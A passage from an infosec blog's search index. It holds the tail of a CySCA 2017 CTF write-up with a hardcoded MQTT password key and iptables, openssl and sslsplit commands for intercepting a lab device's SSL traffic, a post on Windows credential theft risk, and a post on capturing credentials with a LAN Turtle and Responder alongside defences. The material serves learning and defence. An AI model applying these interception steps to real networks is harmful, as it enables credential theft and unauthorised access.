signature=FF43530EBEE483CE41A60B49E8B94D5EF9ABE854\u0026amp;data=%7B%22HUMIDITY%22%3A+%2248.7%22%2C+%22TEMPERATURE%22%3A+%2222.9%22%2C+%22MAC%22%3A+%22A0%3A20%3AA6%3A14%3A30%3A35%22%2C+%22TIMESTAMP%22%3A+%222017-04-12+12%3A12%3A33%22%7D POST /data HTTP/1.0 Host: tempsensor.cysca Content-Type: application/x-www-form-urlencoded Content-Length: 227 signature=9A2CDEE1C5E12961A60D8D3024D54A6C8032C57C\u0026amp;data=%7B%22HUMIDITY%22%3A+%2248.9%22%2C+%22TEMPERATURE%22%3A+%2222.7%22%2C+%22MAC%22%3A+%22A0%3A20%3AA6%3A14%3A30%3A35%22%2C+%22TIMESTAMP%22%3A+%222017-04-12+12%3A12%3A44%22%7D In the above requests, we can see the traffic going to tempsensor.cysca, and we notice some interesting parameters named signature and data.\nWith this challenge, we first used binwalk to extract MicroPython scripts from the firmware we extracted, and then we changed the script to send a really high temperature in the data field. The script included code to calculate the signature on the data automatically, and a request was sent to tempsensor.cysca with a high temperature reading. The following screenshot shows the results on the tempsensor.cysca web server which was used for reporting of temperatures.\nThe error at the top of the page reveals the flag when a high temperature reading is sent to the server.\nChallenge 3: In Certs we Trust # For the follwing challenges, we were provided with two extra pieces of firmware, one for a door lock and one for a door unlocker. We have to re-flash the IoT device with new firmware and analyse the differences between these two firmware.\nFirst, we look at the door lock. Once re-flashed with the door unlocker firmware, we use esptool.py to dump the firmware again, and run it through binwalk.\nIn the binwalk output, I found a .cer file, a .key file, and the following python script:\n$ cat mqttpasswd.py import uhashlib import ubinascii def genpw(mac,username): mac = mac.upper() username = username.upper() #N.O.T..A..F.L.A.G k = \u0026#34;faeQuaijeiFee8peet3Jeush9shieMiechee0aen\u0026#34; d = bytearray(k+mac+username+k) pw_hash = uhashlib.sha1(d) pw = ubinascii.hexlify(pw_hash.digest()).decode(\u0026#34;utf-8\u0026#34;).upper() return pw Additionally, we found a Main.py file with the following two interesting lines inside:\nself.passwd = mqttpasswd.genpw(self.mac,self.username) self.client = MQTTClient(self.mac, self.server, self.port, self.mac, self.passwd, 0, ssl=True) From the above, we gather that the communications this door control firmware sends out is based on the MQTT protocol, and is encapsulated using SSL. Additionally, we find in the code that the device talks to doorctrl.cysca on port 8883.\nOur task was to intercept the SSL traffic sent from the device so that we can see and/or modify the data. There are a couple of different ways in which we could achieve this MITM attack:\nARP spoof both the server and the client so that they both communicate through us Intercept the DNS reply to tell the IoT device that we are the doorctrl web server Or edit our hosts file to send traffic destined for doorctrl.cysca to an intercepting proxy. This proxy would then relay the traffic to the real web server. Use iptables port forwarding to send traffic to our proxy Let\u0026rsquo;s try the last option. We flush the iptables rules we currently have, and then use a PREROUTING rule to forward all traffic destined for the doorctrl web server to our local IP address on the wi-fi network:\n$ iptables -t nat -F $ iptables -t nat -A PREROUTING -d 10.13.37.150 -p tcp --dport 8883 -j DNAT --to-destination 192.168.5.100 Additionally, to intercept SSL traffic, we need to first create our own self-signed certificate with a private key so that we can present it to the IoT device and pretend to be the real server. We create these files as follows:\n$ openssl genrsa -out ca.key 4096 $ openssl req -new -x509 -days 1826 -key ca.key -out ca.crt Now we can use sslsplit with the generated certificate and private above to man-in-the-middle traffic between the IoT device and the web server:\n$ sslsplit -D -l connections.log -j /root/Documents/CySCA/sslsplit/ -S logdir/ -k ca.key -c ca.crt ssl 192.168.5.100 8883 10.13.37.150 8883 Once traffic is sent from the device to our sslsplit instance, we get the flag: FLAG{HQVYBHPSG4BA499ZFCUH4E6414J41887}\nChallenge 4: Sanitize All Inputs # Unfortunately I did not get to complete challenge 4 and 5 of the IoT challenges, but here is a summary of the tasks involved in these challenges:\nUse python to create my own SSL interception and modification proxy. Example code for this can be found here. Intercept requests made to the web server, and find an SQL injection vulnerability using the data sent in the MQTT protocol. Use the SQL injection to dump the database Challenge 5 involved using the SQL injection to unlock another person\u0026rsquo;s door lock using their MAC address and my door unlocker IoT device.\nAnd those were the challenges I found the most interesting in CySCA 2017! Again, thank you to the challenge writers for providing this amazing learning experience!\nLive and Learn!\nCySCA 2017 in a box: https://www.cyberchallenge.com.au/2017/inabox/index.html\nCySCA 2017 IoT in a box: https://www.cyberchallenge.com.au/2017/iot_inabox/index.html\n","date":"29 March 2019","externalUrl":null,"permalink":"/posts/cysca-2017-corporate-and-iot-challenges/","section":"Posts","summary":"My write-up for the CySCA 2017 CTF Corporate and IoT Challenges","title":"CySCA 2017 Corporate and IoT Challenges","type":"posts"},{"content":"This article is about credential risk in a Windows Environment. The scenario is as follows: You are an Incident Responder or Level 1 Analyst trying to determine why a server is acting strangely, or trying to triage a Security Incident. You use your administrator credentials or equivalent to remotely logon to the machine you want to analyse and gather files and other evidence from the machine. The risk here is that an attacker who has compromised a computer as an administrator has the capability to steal all credentials of users that log on to that computer. Assuming that the victim machine is compromised by an attacker, does Windows provide a mechanism to support this gathering of evidence without revealing your credentials in the memory?\nThere is also credential risk when an administrator user wants to install a software on a remote machine for System Administration purposes. These system administrators may be revealing their credentials to attackers. Note that the attacker only requires local admin on the victim machine, NOT Domain Admin.\nI did not find many articles online on Credential Risk, so thought I would summarise what I\u0026rsquo;ve learned.\nSome possible places that attackers can steal cached credentials from include:\nThe Security Accounts Manager (SAM) database Local Security Authority Subsystem (LSASS) process memory Active Directory database (domain controllers only) The Credential Manager store LSA Secrets in the registry In at least the latest versions of Windows, it should be noted that the registry based credentials cached locally are in the form of \u0026ldquo;Verifiers\u0026rdquo; not \u0026ldquo;Authenticators\u0026rdquo;. This means when an attacker gets credentials out of memory for cached logons, they don\u0026rsquo;t get a hash that can be used to directly authenticate as the user, but a hash that can be cracked to reveal the users actual credentials.\nI\u0026rsquo;ve seen recommendations that say that using network based logon is more secure than interactive logon when protecting credentials. However, it should be noted that even using runas in /netonly mode may also reveal your credentials in memory: https://blogs.technet.microsoft.com/jepayne/2016/04/04/when-the-manual-is-not-enough-runas-netonly-unexpected-credential-exposure-and-the-need-for-reality-based-holistic-threat-models/\nIt essentially depends upon what Logon Type is being used to authenticate to the remote host. This ired.team article has a great demonstration of the different logon types, and in which scenarios credentials can be dumped from memory. The only network logon type that doesn\u0026rsquo;t cache credentials in memory is Logon Type 3.\nMicrosoft has released Windows Credential Guard , which \u0026ldquo;uses virtualization-based security to isolate secrets so that only privileged system software can access them\u0026rdquo;. But an attacker can access these secrets if they find a bug in Credential Guard. So a combination of multiple mitigation strategies and activities should be performed.\nRecommendations include:\nUsing a host agent to collect Incident Response Artefacts. Examples of companies that offer such HIDS software include FireEye and Carbon Black, which send artefacts and logs to a central server without needing an administrator to logon to the compromised machine. Administrators that want to install software remotely on a machine using RDP should be utilising the Restricted Admin Mode flag, which makes sure that the admiministrator\u0026rsquo;s credentials are not sent to the host. Completely disable the caching of logon credentials on hosts using Group Policy. This is usually unwanted as it means domain users can only logon to the machine if the DC is online. Monitor Windows Event 4625, which is for when a user attempts to logon to a computer but \u0026ldquo;has not been granted the requested logon type\u0026rdquo; Use MFA for User Accounts (especially accounts with higher privileges) Use a strong password\u0026hellip;cheers :) What\u0026rsquo;s really fun is setting up your own little Windows AD environment at home, and utilising tools like MimiKatz / WCE to test whether you can steal credentials of a remotely logged in user.\nLive and Learn!\nWindows 10 credential theft mitigation document from Microsoft: https://download.microsoft.com/download/C/1/4/C14579CA-E564-4743-8B51-61C0882662AC/Windows%2010%20credential%20theft%20mitigation%20guide.docx Restricted admin mode for RDP: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn283323(v=ws.11)#restrictedadmin-mode-remote-desktop ","date":"16 March 2019","externalUrl":null,"permalink":"/posts/windows-credential-risk/","section":"Posts","summary":"Credential Risk in a Windows Environment","title":"Credential Risk in a Windows Environment","type":"posts"},{"content":"The below PDF includes my write-up for SANS Holiday Hack 2018-19\nMassive thanks to the SANS team behind the challenges! I really enjoyed them!\nKringleCon 2018-19 WriteUp.pdf ","date":"16 March 2019","externalUrl":null,"permalink":"/posts/sans-holiday-hack-2018-2019/","section":"Posts","summary":"Read my write-up for SANS Holiday Hack 2018-2019","title":"KringleCon - SANS Holiday Hack 2018-2019","type":"posts"},{"content":"The LAN turtle is a physical device sold by Hak5 that provides the user remote access to the network it is connected to. It comes with a female Ethernet port and a male USB port, allowing it to be connected to a network and a computer.\nThe LAN turtle has modules you can utilise in programs that you write for the device. These modules include functionality such as:\nproviding stealthy remote communications to allow for remote control e.g. using ptunnel to proxy TCP traffic over ICMP network intelligence gathering / analytics detailed sniffing of the network e.g. URLSnarf for HTTP sniffing Thus the device can be used as a stealthy way to have a reverse connection from a victim network to your attacker machine.\nResponder is a tool for listening on the network in a windows domain environment, and responding to LLMNR and NBNS requests seen on the network. It has additional support for listening and responding to HTTP, DHCP and DNS requests.\nBoth these tools together allow an attacker to easily sniff for Windows Domain credentials on a victim network. You simply install and configure responder on the LAN Turtle, and plug it in to the victim network via ethernet and USB. This works great for getting credentials out of a locked computer or laptop, as the machine usually still sends out network based requests even when it is locked. Responder will respond to such requests (e.g. WPAD requests, browser traffic) and capture any credentials that the laptop sends (e.g. HTTP Basic Auth, NetNTLM and NTLM auth).\nThis is a difficult attack to protect from, especially because ethernet adapters are allowed to be plugged in and installed on a locked machine, even on newer operating systems. Additionally, computers trust their local network and send out all types of traffic to these attached ethernet adapters.\nThe recommendation against the poisoning that Responder does is straight forward actually. To protect Windows credentials, we can disable LLMNR and NBNS so that Windows defaults to stronger authentication schemes. SSL should also be used for all client connections to FTP, HTTP and SMB servers. Detecting that you have a LAN Turtle attached to your network somewhere is difficult. It\u0026rsquo;s always good to monitor for any unknown network interfaces being added to servers and workstations, and you may consider using honey tokens (fake credentials being sent over the network) to try and detect attackers that use them. Additionally, you can allowlist Domain Controllers on client machines so that a host instrusion detection system (HIDS) is able to tell when a device other than these DCs responds to network requests.\nLive and Learn!\nResponder: https://github.com/SpiderLabs/Responder\nLAN Turtle: https://shop.hak5.org/products/lan-turtle\n","date":"16 March 2019","externalUrl":null,"permalink":"/posts/lan-turtle-and-responder/","section":"Posts","summary":"Learn about the LAN Turtle and Responder, and how to defend against these technologies","title":"LAN Turtle + Responder, how to defend","type":"posts"},{"content":"","date":"16 March 2019","externalUrl":null,"permalink":"/tags/lanturtle/","section":"Tags","summary":"","title":"Lanturtle","type":"tags"},{"content":"","date":"16 March 2019","externalUrl":null,"permalink":"/tags/lsass/","section":"Tags","summary":"","title":"Lsass","type":"tags"},{"content":"","date":"16 March 2019","externalUrl":null,"permalink":"/tags/responder/","section":"Tags","summary":"","title":"Responder","type":"tags"},{"content":"","date":"16 March 2019","externalUrl":null,"permalink":"/tags/windows/","section":"Tags","summary":"","title":"Windows","type":"tags"},{"content":"","date":"8 February 2019","externalUrl":null,"permalink":"/tags/about/","section":"Tags","summary":"","title":"About","type":"tags"},{"content":"Welcome to my blog! My name is Devesh Mitra, and I work in the field of Information Security. I love learning new things, discussing deep topics and playing with new technology.\nHere are a few of my interests and hobbies:\ntransferring consciousness into technology (see San Junipero and Neuralink) testing out different technologies (such as looking into SCADA systems, or a brainwave starter kit) using memory techniques to remember things (like the 5 types of salmon) cricket, tennis, squash, and badminton information security conferences and CTFs My experience # Education I completed my Bachelor's degree in Information Systems, and my Masters degree in Information Security. Job Experience I have worked for consulting companies and large software firms, and handled jobs ranging from software development to penetrating testing and detection engineering. Certifications I currently hold the following information security certifications: OSCP, OSCE, OSWE, and OSEP; and have also completed two SANS courses: FOR610 / GREM, and SEC760. ","date":"8 February 2019","externalUrl":null,"permalink":"/about/","section":"Devesh's InfoSec Blog","summary":"Learn more about me and why I am starting this blog.","title":"About Me","type":"page"},{"content":"","date":"8 February 2019","externalUrl":null,"permalink":"/tags/first/","section":"Tags","summary":"","title":"First","type":"tags"},{"content":"","date":"8 February 2019","externalUrl":null,"permalink":"/tags/new/","section":"Tags","summary":"","title":"New","type":"tags"},{"content":"","date":"8 February 2019","externalUrl":null,"permalink":"/tags/welcome/","section":"Tags","summary":"","title":"Welcome","type":"tags"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]